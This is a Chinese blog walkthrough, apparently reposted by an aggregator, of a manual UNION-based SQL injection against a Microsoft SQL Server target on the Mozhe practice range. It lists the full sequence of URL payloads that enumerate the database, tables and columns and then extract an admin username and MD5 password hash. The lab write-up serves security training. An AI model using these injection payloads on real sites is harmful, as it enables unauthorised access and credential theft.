墨者靶场SQL手工注入漏洞测试(Sql Server数据库)
Posted 曹振国cc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了墨者靶场SQL手工注入漏洞测试(Sql Server数据库)相关的知识,希望对你有一定的参考价值。
Mssql
关于SqlServer
MSSQL显错注入和mysql不太一样:
联合查询,记住要写
UNION ALL
然后猜输出点要使用
NULL
去填充注释只有
-- +
进入环境:
1.寻找注入点:
?id=1 //报错
?id=2 //正常
2.查询字段数:
有4个字段
?id=2 and 1=1 order by 4 //正常
?id=2 and 1=1 order by 5 //报错
3.查询输出点:
?id=2 and 1=2 union all select 1,2,3,4 //报错 这里的3应该与其他位上的数值类型不同,尝试用null
?id=2 and 1=2 union all select 1,2,null,4 //正常
将3改用字符串类型,再次尝试
?id=2 and 1=2 union all select 1,2,'3',4
4.查询库名:
?id=2 and 1=2 union all select 1,db_name(),'3',4 //库名:mozhe_db_v2
5.查询表:
?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4 //查出表名:manage
dbo.sysobjects 系统自带库 xtype='U' 是指用户创建的表
6.查询字段:
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 //id
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4 //username
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 //password
7.查询数据:
?id=2 and 1=2 union all select 1,(select username from manage),'3',4 //username: admin_mz
?id=2 and 1=2 union all select 1,(select password from manage),'3',4 //password: 72e1bfc3f01b7583
也可以这样写:
?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
MD5解码,进入后台拿到key值:
以上是关于墨者靶场SQL手工注入漏洞测试(Sql Server数据库)的主要内容,如果未能解决你的问题,请参考以下文章
墨者靶场SQL手工注入漏洞测试(Sql Server数据库)
墨者靶场SQL手工注入漏洞测试(Sql Server数据库)
墨者靶场 SQL手工注入漏洞测试(MySQL数据库-字符型)